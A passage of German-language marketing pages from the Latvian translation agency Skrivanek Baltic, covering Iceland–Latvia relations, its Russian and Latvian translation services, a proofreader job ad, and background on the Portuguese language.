zunächst eher zurückhaltend, was für Nordländer nicht ungewöhnlich ist. Sie sind jedoch sehr freundlich und wenn Sie geschäftlich unterwegs sind, werden Sie wahrscheinlich zu einer privaten Hausparty eingeladen und/ oder erkunden das Land mit den Einheimischen auf andere Weise. Außerdem fragen die Isländer oft, was Ausländer über Island denken, so dass es ratsam ist, Interesse an Island, seinen Menschen, seiner Kultur und seinen Traditionen zu zeigen. ISLAND UND LETTLAND Die bilateralen Beziehungen zwischen Lettland und Island sind seit jeher sehr gut. Die Zusammenarbeit zwischen den beiden Ländern basiert auf der regionalen Zugehörigkeit, dem Verständnis für gemeinsame Werte und Interessen in der europäischen Wirtschaftsintegration und in Sicherheitsfragen. Island war das erste Land, das die Wiederherstellung der Unabhängigkeit Lettlands und der anderen baltischen Staaten am 22. August 1991 anerkannte. Außerdem war es das erste Land, dass den Mut hatte, sowohl der Sowjetunion als auch dem Rest der Welt gegenüber laut zu erklären, dass Lettland nach 50 Jahren Besatzung durch die UdSSR seine Freiheit wiedererlangt hatte und als unabhängiges Land auf die Weltkarte zurückkehren sollte. Litauen und Estland erhielten ähnlichen Zuspruch von Island. Aus diesem Grund wird Island immer einen ganz besonderen Platz im Herzen der Menschen in den baltischen Staaten haben. In Island gibt es außerdem ein unwürdiges Haus, das mit dem Schicksal Lettlands verbunden ist. Während des Kalten Krieges trafen sich die Führer der USA und der UdSSR in Island. Ronald Reagan und Michail Gorbatschow diskutierten über Atomwaffen und konnten sich nicht einigen. Reagans Idee über die Menschenrechte zu reden, lehnte Gorbatschow ab. Der Zusammenbruch der Sowjetunion folgte kurz darauf. Einige Jahre später wurde im selben Haus die Akte über die Anerkennung der wiedererlangten Unabhängigkeit der baltischen Staaten unterzeichnet, die von Island akzeptiert wurde. Die Außenminister Islands, Lettlands, Litauens und Estlands unterzeichneten ebenfalls Protokolle über die Aufnahme diplomatischer Beziehungen. Zu dieser Zeit war Vigdís Finnbogadóttir Präsidentin von Island. Auch dies war ungewöhnlich, weil sie als erste Frau der Welt demokratisch zur Präsidentin gewählt wurde. Und als sie viel später, nach der Anerkennung Lettlands, zum ersten Mal zu Besuch kam, war sie froh, dass sie bei diesem historischen Ereignis dabei war. Am 22. August 2011 wurde in Riga, Kipsala, der Iceland Square eröffnet, um die historische Rolle Islands bei der Wiederherstellung der Unabhängigkeit Lettlands zu feiern. Die wirtschaftlichen Beziehungen zwischen Lettland und Island sind stabil. Obwohl der Handel zwischen den beiden Ländern nicht sehr groß ist, nimmt das Gesamtvolumen des Warenhandels in den letzten Jahren immer mehr zu. Die isländischen Investitionen in lettische Unternehmen sind erheblich. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ISLÄNDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Isländisch; Isländisch nach Lettisch; Estnisch nach Isländisch; Isländisch nach Estnisch; Litauisch nach Isländisch; Isländisch nach Litauisch; Russisch nach Isländisch; Isländisch nach Russisch; Tschechisch nach Isländisch; Isländisch nach Tschechisch; Polnisch nach Isländisch; Isländisch nach Polnisch; Ukrainisch nach Isländisch; Isländisch nach Ukrainisch; Isländisch nach Spanisch; Spanisch nach Isländisch; Deutsch nach Isländisch; Isländisch nach Deutsch; Italienisch nach Isländisch; Isländisch nach Italienisch; Französisch nach Isländisch; Isländisch nach Französisch; Dänisch nach Isländisch; Isländisch nach Dänisch; Norwegisch nach Isländisch; Isländisch nach Norwegisch; Schwedisch nach Isländisch; Isländisch nach Schwedisch; Finnisch nach Isländisch; Isländisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ISLÄNDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Isländisch; Isländisch nach Lettisch; Estnisch nach Isländisch; Isländisch nach Estnisch; Litauisch nach Isländisch; Isländisch nach Litauisch; Russisch nach Isländisch; Isländisch nach Russisch; Tschechisch nach Isländisch; Isländisch nach Tschechisch; Polnisch nach Isländisch; Isländisch nach Polnisch; Ukrainisch nach Isländisch; Isländisch nach Ukrainisch; Isländisch nach Spanisch; Spanisch nach Isländisch; Deutsch nach Isländisch; Isländisch nach Deutsch; Italienisch nach Isländisch; Isländisch nach Italienisch; Französisch nach Isländisch; Isländisch nach Französisch; Dänisch nach Isländisch; Isländisch nach Dänisch; Norwegisch nach Isländisch; Isländisch nach Norwegisch; Schwedisch nach Isländisch; Isländisch nach Schwedisch; Finnisch nach Isländisch; Isländisch nach Finnisch und andere. --- > Unsere erfahrenen Übersetzer bieten professionelle Übersetzungsdienste für Texte ins Russische und vom Russischen ins Englische für Unternehmen und Privatpersonen. - Published: 2025-01-06 - Modified: 2025-07-03 - URL: https://skrivanek.lv/de/professional-russian-to-english-and-english-to-russian-translation-services-for-businesses-and-individuals/ - Translation Priorities: Optional ÜBERSETZEN INS RUSSISCHE | RUSSISCHE ÜBERSETZUNGSDIENSTE Skrivanek Baltic bietet professionelle Übersetzungsdienste für Texte ins Russische und vom Russischen ins Englische. Unser Team besteht aus erfahrenen Übersetzern für die russische Sprache, die sich auf verschiedene Fachgebiete spezialisiert haben, so dass wir sowohl Standardübersetzungen als auch beglaubigte Übersetzungen anbieten können. Unsere Übersetzungsdienste richten sich an Unternehmen aller Branchen, einschließlich fachspezifischer Bereiche wie Industrie, Technik, Medizin, Recht und viele mehr. Wir übernehmen die Übersetzung verschiedener Dokumente wie Firmenverträge, Rechnungen, Kataloge, Werbeslogans, Berichte, Geschäftskorrespondenz, Urkunden, Vollmachten, Formulare und andere vertrauliche Unterlagen. Unsere Übersetzer sorgen nicht nur für sprachliche Genauigkeit, sondern auch dafür, dass der Text in Bezug auf Sprache und Land effektiv und kulturell angemessen ist. Unsere Kunden vertrauen uns, wenn es um qualitativ hochwertige Übersetzungsdienstleistungen geht, die ihren geschäftlichen Anforderungen entsprechen. WARUM SOLLTEN SIE SKRIVANEK BALTIC WÄHLEN, WENN SIE EINE ÜBERSETZUNG VOM RUSSISCHEN INS ENGLISCHE ODER UMGEKEHRT BRAUCHEN? Skrivanek Baltic bietet zuverlässige und professionelle Sprachdienstleistungen für die Übersetzung der Sprachkombination Russisch-Englisch oder Englisch-Russisch. Mit unserer langjährigen Erfahrung, einem Team von qualifizierten Linguisten und unserem Engagement für die Kundenzufriedenheit können wir Ihnen eine Lösung für alle Ihre Übersetzungsanforderungen bieten. WARUM SOLLTEN SIE MIT SKRIVANEK BALTIC ARBEITEN? Strenge Datensicherheit - alle Übersetzungen werden in den EU-Mitgliedstaaten durchgeführt. Unterstützung von über 100 Dateiformaten - Ob PDF, JPG, IDML, JSON oder HTML - wir können es verarbeiten. Sie brauchen sich nicht um die Konvertierung Ihrer Dokumente zu kümmern. Verfügbar in über 100 Sprachen - Unsere Übersetzungsdienste sind umfassend und werden von einem einzigen Unternehmen abgewickelt. Sie müssen sich nicht nach anderen Übersetzungsbüros umsehen, um Ihr Projekt zu erledigen. Ein breites Spektrum an Sprachdienstleistungen - von der Übersetzung von Dokumenten über Filmuntertitel bis hin zur Lokalisierung von Websites oder Anwendungen- das Übersetzungsbüro Skrivanek ist für Sie zur Stelle. Schnelle und einfache Online-Angebote - Verabschieden Sie sich vom stundenlangen Warten auf ein Angebot. Wir erstellen innerhalb 30 Minuten ein Angebot. Online bestellen - Geben Sie einen Übersetzungsdienst in Auftrag und erhalten Sie Ihre übersetzten Dokumente per E-Mail, einschließlich beglaubigter Übersetzungen mit qualifizierten elektronischen Signaturen. Herkömmliche Übersetzungen auf Papier können wir per Post oder Kurier zurückschicken. Praktisches Kundenportal - Behalten Sie alles an einem Ort im Blick und bleiben Sie immer über den Fortschritt Ihres Auftrags auf dem Laufenden. Qualitätskontrolle - Machen Sie sich Sorgen um die Qualität unserer Übersetzungen? Keine Sorge. Wir sind nach den Normen ISO 9001 und 17100 zertifiziert, was unser Engagement für Qualität und Präzision unterstreicht. Erhalten Sie ein kostenloses Angebot oder fordern Sie weitere Informationen an! Das Sprachexpertenteam von Skrivanek Baltic bietet erstklassige Übersetzungen sowohl für Unternehmen als auch für Privatpersonen. Benötigen Sie Hilfe bei einem bestimmten Projekt? Nehmen Sie noch heute Kontakt mit uns auf, um ein kostenloses Angebot zu erhalten oder weitere Informationen anzufordern. Wir freuen uns auf die Zusammenarbeit mit Ihnen! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WANN IST DIE ÜBERSETZUNG VON DOKUMENTEN INS RUSSISCHE DIE BESTE WAHL? Präzise und gründliche Übersetzung: Bei der Übersetzung von Dokumenten ins Russische liefern menschliche Übersetzer genaue und gründliche Übersetzungen. Sie sind in der Lage, die Bedeutung, den Ton und die kulturellen Feinheiten der Ausgangssprache korrekt wiederzugeben. Verbesserte Kommunikation: Mit einer genauen Übersetzung können alle Beteiligten besser kommunizieren. Menschliche Übersetzer sorgen dafür, dass jeder das Dokument versteht, wodurch das Risiko von Missverständnissen minimiert und die Kommunikation insgesamt verbessert wird. Anpassungsfähig an Veränderungen: Die menschliche Übersetzung kann alle notwendigen Änderungen problemlos berücksichtigen. Falls Überarbeitungen erforderlich sind, kann ein menschlicher Übersetzer den Text mit Leichtigkeit ändern, damit alles seinen Sinn behält. Fachwissen in spezifischen Bereichen: Unsere Übersetzer von Skrivanek verfügen über Fachkenntnisse in verschiedenen Branchen und sind mit der für diese Bereiche typischen Fachsprache vertraut. Dadurch können komplexere Dokumente präzise übersetzt werden. Aufrichtig und kultursensibel: Die menschliche Übersetzung liefert authentische und kultursensible Übersetzungen. Muttersprachliche russischsprachige Übersetzer liefern wertvollen Kontext und stellen sicher, dass der Text den richtigen Ton und die richtigen kulturellen Bezüge wiedergibt. WIE LASSEN SICH DIE KOSTEN FÜR DIE ÜBERSETZUNG VON DOKUMENTEN INS/ AUS DEM RUSSISCHEN OHNE QUALITÄTSEINBUSSEN SENKEN? Wählen Sie einen zuverlässigen Übersetzungsdienst: Kosten für die Übersetzung von Dokumenten ins/ aus dem Russischen können gesenkt werden, wenn Sie einen zuverlässigen und erfahrenen Übersetzungsdienst wählen. Diese können Ihnen eine wettbewerbsfähige Preisstruktur bieten und gewährleisten qualitativ hochwertige Übersetzungen. Vereinfachung des Ausgangstexts: Je einfacher der Ausgangstext ist, desto leichter lässt er sich übersetzen, so dass weniger linguistische Recherchen und Überprüfungen erforderlich sind. Vereinfachte Texte machen auch die Übersetzung einfacher, schneller und genauer, wodurch sich der Zeit- und Arbeitsaufwand verringert. Bereitstellung von Kontext- und Hilfsmaterialien: Die Bereitstellung von Kontext- und Hilfsmaterialien wie Glossaren und Nachschlagewerken kann die Übersetzungskosten erheblich senken, da die Übersetzer schneller und genauer arbeiten können. Der Kontext hilft dem Übersetzer auch, die Nuancen und Bedeutungen von Wörtern und Sätzen zu verstehen. Wählen Sie den richtigen Dateityp: Die Wahl des richtigen Dateityps kann auch dazu beitragen, die Übersetzungskosten zu senken. Textdateien wie . doc, . txt und . rtf werden bevorzugt, da sie leicht zugänglich sind und sich leicht übersetzen und überprüfen lassen. Ein klarer, deutlicher und gut lesbarer Text kann den Übersetzern helfen, effizienter zu arbeiten, was den gesamten Übersetzungsprozess beschleunigt und Ihre Übersetzungskosten senkt. KANN MAN EINE BEGLAUBIGTE ÜBERSETZUNG VOM ENGLISCHEN INS RUSSISCHE ONLINE IN AUFTRAG GEBEN OHNE VOR ORT IM BÜRO ZU SEIN? Eine beglaubigte Übersetzung aus dem Englischen ins Russische kann online bestellt werden, indem eine . edoc-Datei (das elektronisch signierte Dokument) an Skrivanek Baltic gesendet wird. Die beglaubigte Übersetzung wird im . edoc-Format zurückgeschickt, vom Übersetzer unterschrieben und von einem vereidigten Notar mit einer elektronischen Unterschrift beglaubigt. Dieses Verfahren eignet sich für Dokumente, die von Institutionen wie dem Informationszentrum, der staatlichen Steuerbehörde oder dem Unternehmensregister ausgestellt werden. Angebot anfordern: Kontaktieren Sie Skrivanek und fordern Sie ein Angebot für Ihre beglaubigten Übersetzungen an. Achten Sie darauf, dass Sie alle erforderlichen Angaben machen, wie die Art des Dokuments, die Anzahl der Wörter und die Frist. Das Dokument senden: Senden Sie das Dokument per E-Mail oder laden Sie es auf unsere Website hoch. Vergewissern Sie sich, dass Sie klare Anweisungen zu Formatierungsanforderungen oder besonderen Erwägungen geben. Überprüfung und Genehmigung der Übersetzung: Sobald die Übersetzung abgeschlossen ist, senden wir Ihnen das übersetzte Dokument zur Überprüfung zu. Sollten Korrekturen oder Änderungen erforderlich sein, lassen Sie es uns wissen. Aushändigung der beglaubigten Übersetzung: Nach der endgültigen Prüfung und Genehmigung senden wir Ihnen die beglaubigte Übersetzung per E-Mail oder Post zu. WIE UNSER ÜBERSETZUNGSDIENST FÜR RUSSISCH FUNKTIONIERT --- > Sie suchen eine professionelle Lettisch-Englisch/ Englisch-Lettisch-Übersetzung? Wählen Sie Skrivanek. Hochwertige Ergebnisse! - Published: 2025-01-06 - Modified: 2025-07-03 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ - Translation Priorities: Optional ÜBERSETZEN INS LETTISCHE | ÜBERSETZUNGSDIENSTE VON LETTISCH NACH ENGLISCH Wenn Sie hochwertige lettische Übersetzungsdienstleistungen benötigen, sind Sie bei uns genau richtig. Skrivanek Baltic ist für Sie da. Wir sind ein Team von qualifizierten Übersetzern, die sich auf Übersetzungen aus dem Lettischen ins Englische (LV zu ENG) und aus dem Englischen ins Lettische (ENG zu LV) spezialisiert haben. Unser Fachwissen erstreckt sich auf verschiedene Branchen, wie Industrie, Technik, Medizin undRecht. Ob Sie nun eine Standardübersetzung oder eine beglaubigte Übersetzung benötigen, wir können beides bereitstellen. Unsere Dienstleistungen erstrecken sich auf eine breite Palette von Dokumenten wie Unternehmensverträge, Rechnungen, Kataloge, Werbeslogans, Berichte, Geschäftskorrespondenz, Urkunden, Vollmachten, Formulare und vertrauliche Unterlagen. Unsere Übersetzer garantieren nicht nur sprachliche Genauigkeit, sondern stellen auch sicher, dass der übersetzte Text zweckdienlich und kulturell angemessen für das Zielpublikum ist. Unsere Kunden vertrauen darauf, dass wir qualitativ hochwertige Übersetzungen liefern, die ihren spezifischen Geschäftsanforderungen entsprechen. 10 GRÜNDE WARUM SIE SKRIVANEK BALTIC FÜR ÜBERSETZUNGEN AUS DEM LETTISCHEN INS ENGLISCHE ODER AUS DEM ENGLISCHEN INS LETTISCHE WÄHLEN SOLLTEN Strenge Datensicherheit: Alle Übersetzungen werden innerhalb der EU-Mitgliedstaaten durchgeführt, so dass die Vertraulichkeit Ihrer Daten gewährleistet ist. Unterstützung für über 100 Dateiformate: Wir können verschiedene Dateiformate verarbeiten, darunter PDF, JPG, IDML, JSON und HTML, so dass Sie Ihre Dokumente nicht mehr konvertieren müssen. Verfügbar in über 100 Sprachen: Unser umfassender Übersetzungsservice deckt mehr als 100 Sprachen ab, so dass Sie nicht nach mehreren Agenturen suchen müssen, um Ihre Projekte zu bearbeiten. Breite Palette an Sprachdienstleistungen: Von der Übersetzung von Dokumenten über die Untertitelung von Filmen bis hin zur Lokalisierung von Websites oder Anwendungen bietet unser Übersetzungsbüro eine breite Palette von Sprachdienstleistungen an. Schnelle und einfache Online-Angebote: Verabschieden Sie sich davon, ewig auf ein Angebot warten zu müssen. Wir können Ihnen innerhalb von nur 30 Minuten einen Kostenvoranschlag unterbreiten. Onlinelieferung: Sie erhalten Ihre übersetzten Dokumente per E-Mail, einschließlich beglaubigter Übersetzungen mit qualifizierter elektronischer Unterschrift. Herkömmliche Papierübersetzungen können wir Ihnen per Post oder Kurier zurückschicken. Praktisches Kundenportal: In unserem benutzerfreundlichen Kundenportal haben Sie immer einen umfassenden Überblick und können den Fortschritt Ihres Auftrags verfolgen. Qualitätssicherung: Seien Sie versichert, dass unsere Übersetzungen den höchsten Standards entsprechen. Wir sind nach ISO 9001 und 17100 zertifiziert, was unser Engagement für Qualität und Präzision unterstreicht. Expertenteam von Übersetzern: Skrivanek Baltic verfügt über ein Team hochqualifizierter und erfahrener Übersetzer, die auf Übersetzungen aus dem Lettischen ins Englische und umgekehrt spezialisiert sind und deren Muttersprache Lettisch ist. Sie verfügen über ein tiefes Verständnis beider Sprachen und kultureller Nuancen und sorgen so für genaue und kulturell angemessene Übersetzungen. Engagierte Projektmanager: Skrivanek Baltic setzt für jedes Übersetzungsprojekt einen eigenen Projektmanager ein. Sie überwachen den gesamten Übersetzungsprozess, sorgen für eine pünktliche Lieferung und kümmern sich um alle Fragen und Anliegen, die Sie während des Projekts haben. Ihr Fachwissen und ihre Liebe zum Detail sorgen für einen reibungslosen Ablauf der Übersetzung. Entscheiden Sie sich für Skrivanek Baltic, wenn Sie zuverlässige und professionelle Übersetzungsdienste für Lettisch benötigen, die Ihren geschäftlichen Anforderungen gerecht werden. Erhalten Sie ein kostenloses Angebot oder fordern Sie weitere Informationen an! Das Sprachexpertenteam von Skrivanek Baltic bietet erstklassige Übersetzungen sowohl für Unternehmen als auch für Privatpersonen. Benötigen Sie Hilfe bei einem bestimmten Projekt? Nehmen Sie noch heute Kontakt mit uns auf, um ein kostenloses Angebot zu erhalten oder weitere Informationen anzufordern. Wir freuen uns auf die Zusammenarbeit mit Ihnen! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WIE UNSER ÜBERSETZUNGSDIENST FÜR LETTISCH FUNKTIONIERT --- > Skrivanek Baltic sucht erfahrene deutsche Korrekturleser. Bewerben Sie sich jetzt und werden Sie Teil eines internationalen Übersetzungsteams! - Published: 2025-01-06 - Modified: 2025-07-16 - URL: https://skrivanek.lv/de/korrekturleser-fuer-die-deutsche-sprache/ - Translation Priorities: Optional WIR SUCHEN KORREKTURLESER FÜR DIE DEUTSCHE SPRACHE Die steigende Nachfrage nach deutschen Übersetzungen hat Skrivanek Baltic dazu veranlasst, sein Team von deutschen Korrekturlesern zu erweitern. FALLS SIE SICH FRAGEN, OB SIE KORREKTURLESER BEI SKRIVANEK WERDEN KÖNNEN: ABER NATÜRLICH! Sie können davon ausgehen, dass Ihre Bewerbung berücksichtigt wird, wenn Sie: Muttersprachler der deutschen Sprache sind (z. B. einen Abschluss in Philologie oder Linguistik haben oder über ein Zertifikat verfügen, das Ihre Deutschkenntnisse auf C2-Niveau bestätigt); über erste Erfahrungen als Korrekturleser für Deutsch verfügen. Und wenn Sie außerdem: mit CAT-Tools arbeiten (falls nicht, keine Sorge - wir bringen es Ihnen bei); andere Fremdsprache(n) beherrschen; bereit sind, neue Sprachen zu lernen. KORREKTURLESER DER DEUTSCHEN SPRACHE, DIE FÜR SKRIVANEK ARBEITEN, KÖNNEN ERWARTEN: Ein Team von Fachleuten; vielfältige Möglichkeiten für kontinuierliches Lernen und Verbesserung der beruflichen Qualifikationen; flexible Vergütung - je mehr Sie tun, desto mehr verdienen Sie; Korrekturlesen für interessante Projekte. Werden Sie noch heute Teil unseres Teams! Und Sie können Ihre Fähigkeiten durch die Teilnahme an zahlreichen Projekten in einem der größten Übersetzungsbüros in Lettland und im Ausland verbessern. Wir haben alle notwendigen Instrumente und Erfahrungen, um Sie beim Korrekturlesen von Materialien in vielen verschiedenen Formaten für Kunden mit unterschiedlichen Anforderungen zu unterstützen. Wir würden uns sehr freuen, Sie in unserem Team begrüßen zu dürfen! Ist Ihr Interesse geweckt? Registrieren Sie sich jetzt im Skrivanek Vendor Portal! HINWEIS: Bitte laden Sie Ihren Lebenslauf und andere Dokumente hoch, die Ihre Qualifikationen und Erfahrungen belegen (z. B. Diplome, Zeugnisse, Empfehlungsschreiben usw. ). Wenn wir uns nicht innerhalb von 7 Tagen nach Ihrer Registrierung im Vendor Portal mit Ihnen in Verbindung setzen, gehen Sie bitte davon aus, dass momentan kein Bedarf an den von Ihnen angebotenen Dienstleistungen besteht. Wir werden nur ausgewählte Bewerber kontaktieren. --- > Dokumentenübersetzungen, Dolmetschen, Sprachkurse und andere Sprachdienstleistungen in Portugiesisch. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS PORTUGIESISCHE WAS KOSTET EINE ÜBERSETZUNG INS PORTUGIESISCHE? Der Preis für die Übersetzung aus dem/ ins Portugiesische wird für jeden Auftrag individuell festgelegt. Der Preis setzt sich aus mehreren Faktoren gemäß der aktuellen Preisliste des Übersetzungsbüros Skrivanek zusammen. Der Preis für das Konsekutivdolmetschen wird nach des Zeitaufwands für die Erbringung der Dienstleistung und der Sprachkombination, für die eine Übersetzung benötigt wird, festgelegt. Der Preis für eine schriftliche Übersetzung richtet sich nach dem Umfang des zu übersetzenden Materials, der Dauer der Übersetzung, den Besonderheiten des Textinhalts, der Textwiederholungen, dem Bedarf an grafischer Bearbeitung, Textformatierung, Korrekturlesen sowie die vom Kunden gewählte Zusatzleistungen. GIBT ES EINE PREISLISTE FÜR ÜBERSETZUNGSDIENSTLEISTUNGEN? Selbstverständlich ist die Preisliste für Übersetzungen und Dolmetscherleistungen (simultan und konsekutiv), Lokalisierungen und Adaptionen vom/ ins Portugiesische ein fester Bestandteil unserer Kundenverträge. Die Projektmanager des Übersetzungsbüros Skrivanek geben vor Beginn eines Übersetzungsprojekts stets detaillierte Informationen über die Übersetzungskosten. Der Preis für jeden Auftrag wird individuell nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, den Wortwiederholungen und anderen Parametern. Um einen Kostenvoranschlag zu erstellen, bitten wir Sie, uns Ihr Übersetzungsmaterial per E-Mail zu schicken. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ihr Preisangebot in weniger als 15 MinutenMehr als 3000 Linguisten und MuttersprachlerMehr als 98% der Kunden würden uns gerne an ihre Freunde und Partner weiterempfehlenUnsere Agentur übersetzt jedes Jahr mehr als 16 Millionen Wörter Brauchen Sie eine Übersetzung? Suchen Sie eine Sprachdienstleistung oder einen Experten, der Sie berät? Wir erstellen ein maßgeschneidertes Angebot für Sie. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE PORTUGIESISCHE SPRACHE Die portugiesische Sprache gehört zum romanischen Zweig der indogermanischen Sprachfamilie. Die portugiesische Sprache hat ihren Ursprung in der autonomen Region Galicien, die im Norden Portugals und im Nordwesten Spaniens liegt. Galicisch setzte sich aus lokalen Dialekten und Latein zusammen. Das Portugiesische entwickelte sich als Nachfolgesprache um das vierzehnte Jahrhundert. Auch heute noch haben Portugiesen und Galicier keine Schwierigkeiten, sich gegenseitig zu verstehen. Die portugiesische Sprache ist außerdem dem Spanischen ziemlich nah. Entweder wird die portugiesische Schriftsprache als das europäische (lusitanische) oder das brasilianische Portugiesisch unterrichtet. Sie zeigen die gleichen orthografischen und lexikalischen Unterschiede auf wie das britische und das amerikanische Englisch, unterscheiden sich aber auch in einigen grammatikalischen Punkten. Die Dialekte des gesprochenen Portugiesisch unterscheiden sich jedoch stark in Bezug auf Akzent und Wortschatz. Es gibt zehn Hauptdialektregionen auf dem portugiesischen Festland und den Inseln. Unter den Dialekten des Portugiesischen in Spanien sticht ein Dialekt besonders hervor - das Galicische, das aus politischen Gründen manchmal als eigene Sprache behandelt wird. Die brasilianischen Dialekte weisen viele lexikalische Spuren der indigenen und afrikanischen Sprachen sowie der Sprachen der europäischen Einwanderer auf. Die Wiederbelebung des modernen Portugiesisch in Angola und Mosambik wurde durch eine weitgehende Standardisierung der Sprache zum Nachteil der Dialekte ermöglicht. Im Portugiesischen gibt es keine grammatikalischen Konjugationen, aber die Zahl der Verbkonjugationen erscheint regelrecht endlos. Jede Verbform hat sechs verschiedene Konjugationen. Auf die Verwendung von Pronomen (ich, du, wir, er, sie) wird standardmäßig verzichtet, da die Konjugation der Verben die Person und die Zahl eindeutig angibt. Portugiesisch wurde im Jahr 1290 zur offiziellen Sprache ernannt. Das Portugiesische entwickelte sich allmählich aus dem Lateinischen, nachdem es um 200 v. Chr. in Portugal eingeführt worden war. Doch erst 1290, als der portugiesische Dichterkönig Dionysius I. es zur Sprache Portugals erklärte, wurde Portugiesisch als offizielle Sprache anerkannt. Die frühesten Aufzeichnungen in portugiesischer Sprache stammen aus dem neunten Jahrhundert. Das längste Wort im Portugiesischen, anticonstitucionalíssimamente, hat 29 Buchstaben und bedeutet „auf sehr verfassungswidrige Weise“. Das Wort „sein“ (ir/ būt) ist im Lettischen allgemeingültig, aber im Portugiesischen hat es zwei verschiedene Verbformen: ser und estar. Das Wort ser wird verwendet, um etwas Konstantes und Unveränderliches zu bezeichnen. Das Wort estar wird für vorübergehende Situationen wie Stimmung oder Wetterbedingungen verwendet. DAS PORTUGIESISCHES ALPHABET Das portugiesische Schriftsystem basiert auf dem lateinischen Alphabet, wobei das portugiesische Alphabet aus 26 Buchstaben besteht. Bis 2009 waren es jedoch nur 23. Bis vor kurzem waren die Buchstaben K, W und Y nicht Teil der portugiesischen Sprache. In Wörtern wie zum Beispiel „Kilogramm“ wurde der Buchstabe K durch qu-quilograma ersetzt und die Laute W und Y waren nur in Fremdwörtern zu finden. Im Jahr 2009 unterzeichneten die portugiesischsprachigen Länder der Welt gemeinsam das neue Orthographie-Übereinkommen, das die Schreibweisen der verschiedenen Varianten des Portugiesischen vereinheitlicht und die Buchstaben K, W und Y einführt. Die portugiesische Sprache hat im Laufe ihrer Entwicklung aus gemeinsamen lateinischen Wurzeln mehrere systematische Lautveränderungen erfahren. Obwohl das Portugiesische lexikalisch dem Spanischen näher steht, ähnelt es beim Vergleich der Vokale eher dem Italienischen und Katalanischen, da auch dort die ursprünglichen lateinischen Vokale beibehalten wurden, die im Spanischen und Französischen durch Diphthonge ersetzt wurden. WIE SCHWIERIG IST DIE PORTUGIESISCHE SPRACHE? Portugiesisch gilt als eine der am leichtesten zu erlernenden Sprachen der Welt. Es ist eine sehr wohlklingende und reiche Sprache. Das Erlernen der Sprache ist am einfachsten für diejenigen, die bereits eine der romanischen Sprachen - Spanisch oder Italienisch - 